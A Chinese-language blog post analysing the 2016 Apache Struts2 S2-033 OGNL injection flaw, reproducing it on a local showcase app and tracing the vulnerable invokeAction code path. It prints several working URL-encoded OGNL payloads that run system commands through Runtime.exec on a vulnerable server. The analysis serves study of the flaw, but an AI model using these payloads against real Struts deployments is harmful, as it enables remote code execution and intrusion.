Struts2 历史漏洞分析 — S2-033

关于 S2-033

这是2016年5月份左右公开的一个 Struts2 系列代码执行漏洞,是 OGNL 表达式引起的。

https://cwiki.apache.org/confluence/display/WW/S2-033

先看官方对这个漏洞的描述:

在使用REST插件时启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。

影响范围:

Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

从官方的描述中大概能知道是因为使用了 REST 插件且启动了动态方法调用功能,会导致漏洞的产生。

网上已给出相关漏洞环境:https://vulapps.evalbug.com/s_struts2_s2-033/

复现

部署 struts-showcase 的 war 包。

http://localhost:8888/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]),%23ros%3D(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())%2C@org.apache.commons.io.IOUtils@copy(%23process.getInputStream()%2C%23ros)%2C%23ros.flush(),%23xx%3d123,%23xx.toString.json?&command=whoami

1551348684(1).jpg

分析

先放上一张 struts2 的运行原理图,对 struts2 运行原理有个基本的了解。

1551348699(1).jpg

访问:http://localhost:8888/orders/3/test

然后看 hook 出来的调用链。

---------------------------------EXP-----------------------------------------
test()
2019-02-28 16:47:42,156 DEBUG (com.opensymphony.xwork2.DefaultActionInvocation:76) - Executing action method = test
---------------------------------璋冪敤閾�---------------------------------------
java.lang.Thread.getStackTrace(Thread.java:1559)
org.javaweb.expression.Agent.expression(Agent.java:179)
ognl.Ognl.parseExpression(Ognl.java)
com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecute(OgnlUtil.java:332)
com.opensymphony.xwork2.ognl.OgnlUtil.getValue(OgnlUtil.java:307)
com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:423)
com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:287)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:250)
//省略.............
com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:147)
org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:564)
org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:81)
org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99)
//省略.............
--------------------------------------------------------------------------
---------------------------------EXP-----------------------------------------
doTest()
---------------------------------璋冪敤閾�---------------------------------------
java.lang.Thread.getStackTrace(Thread.java:1559)
org.javaweb.expression.Agent.expression(Agent.java:179)
ognl.Ognl.parseExpression(Ognl.java)
com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecute(OgnlUtil.java:332)
com.opensymphony.xwork2.ognl.OgnlUtil.getValue(OgnlUtil.java:307)
com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:428)
com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:287)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:250)
org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:138)
//省略.............
org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:138)
com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:147)
org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:564)
org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:81)
org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99)
//省略.............
--------------------------------------------------------------------------

可以看到执行了 test 和 doTest 两个方法。

下面从 struts2 的核心控制器 StrutsPrepareAndExecuteFilter 开始分析。

public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)req;
        HttpServletResponse response = (HttpServletResponse)res;

        try {
            if (this.excludedPatterns != null && this.prepare.isUrlExcluded(request, this.excludedPatterns)) {
                chain.doFilter(request, response);
            } else {
                this.prepare.setEncodingAndLocale(request, response);
                this.prepare.createActionContext(request, response);
                this.prepare.assignDispatcherToThread();
                request = this.prepare.wrapRequest(request);
                ActionMapping mapping = this.prepare.findActionMapping(request, response, true); // 获取请求 mapping
                if (mapping == null) {
                    boolean handled = this.execute.executeStaticResourceRequest(request, response);
                    if (!handled) {
                        chain.doFilter(request, response);
                    }
                } else {
                    this.execute.executeAction(request, response, mapping); // 执行 action
                }
            }
        } finally {
            this.prepare.cleanupRequest(request);
        }

    }

进入 execute.executeAction方法后,经过executeAction:81, ExecuteOperations (org.apache.struts2.dispatcher.ng) 到达 serviceAction:532, Dispatcher (org.apache.struts2.dispatcher)方法来处理 ActionProxy。

1551348714(1).jpg

ActionProxy proxy = ((ActionProxyFactory)this.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy(namespace, name, method, extraContext, true, false);
            request.setAttribute("struts.valueStack", proxy.getInvocation().getStack());
            if (mapping.getResult() != null) {
                Result result = mapping.getResult();
                result.execute(proxy.getInvocation());
            } else {
                proxy.execute(); // 这里开始调用 action 的 test 方法,继续跟进
            }

proxy.execute(); 这一行开始继续跟进。

execute:147, DefaultActionProxy (com.opensymphony.xwork2)

//调用了retCode = this.invocation.invoke();

invoke:138, RestActionInvocation (org.apache.struts2.rest)

//调用了 this.resultCode = super.invoke();

invoke:247, DefaultActionInvocation (com.opensymphony.xwork2)

//调用了 this.resultCode = interceptor.getInterceptor().intercept(this);

经过前面无数次调用,最终在 DefaultActionInvocation.invoke()中调用了
invokeActionOnly() ,然后调invokeAction(),到达触漏洞的部分。

1551348724(1).jpg

它会取出我传入的 test 把它当做 action 的方法去调用 OGNL 执行。

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
        String methodName = this.proxy.getMethod();
        if (LOG.isDebugEnabled()) {
            LOG.debug("Executing action method = #0", new String[]{methodName});
        }

        String timerKey = "invokeAction: " + this.proxy.getActionName();

        try {
            String result;
            try {
                UtilTimerStack.push(timerKey);

                Object methodResult;
                try {
                    methodResult = this.ognlUtil.getValue(methodName + "()", this.getStack().getContext(), action); //从这里开始 取出了我传入的 test 然后加上 () 作为 ognl 表达式去执行,也就是调用 action 的 test 方法。
                } catch (OgnlException var18) {
                    try {
                        result = "do" + methodName.substring(0, 1).toUpperCase() + methodName.substring(1) + "()"; // 如果执行 test 方法抛异常了 就再调用 doTest() 方法。
                        methodResult = this.ognlUtil.getValue(result, ActionContext.getContext().getContextMap(), action);
                    } catch (OgnlException var17) {
                      
                      //省略...
                    }
                }

                //省略...
        } finally {
            UtilTimerStack.pop(timerKey);
        }
    }

1551348732(1).jpg

再把payload带入,成功弹出计算器。

总结

最后我再来分析一下 payload,说一下为什么会执行系统命令。

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#xx=123,#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?
&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse
&content=2908
&command=calc

其实可以精简一下

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#xx=123,
#rs=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream(),
#xx.toString.json?
&command=calc

转换一下url编码

http://localhost:8888/orders/4/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream(),%23xx.toString.json?&command=calc

解读:

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS // 为了有权限访问我们要调用的方法

#xx=123 创建一个名为 xx 的字符串

#rs=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream(), // 调用 java.lang.Runtime 类的 getRuntime().exec()方法 传入请求参数(parameters属性)的 "command" 参数的第一个值,也就是 calc

#xx.toString.json? 因为 struts-plugin.xml 中设定了 <constant name="struts.action.extension" value="xhtml,,xml,json" /> 就是请求路径结尾(键值对参数之前)必须为这三个才会当做 rest 处理 , 处理了.json后剩下了 #xx.toString 这里会和代码中的 "()" 拼接 也就是调用 toString() 方法,让表达式正常执行。

&command=calc // command参数 也就是我们在 exec 方法中要执行的系统命令

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。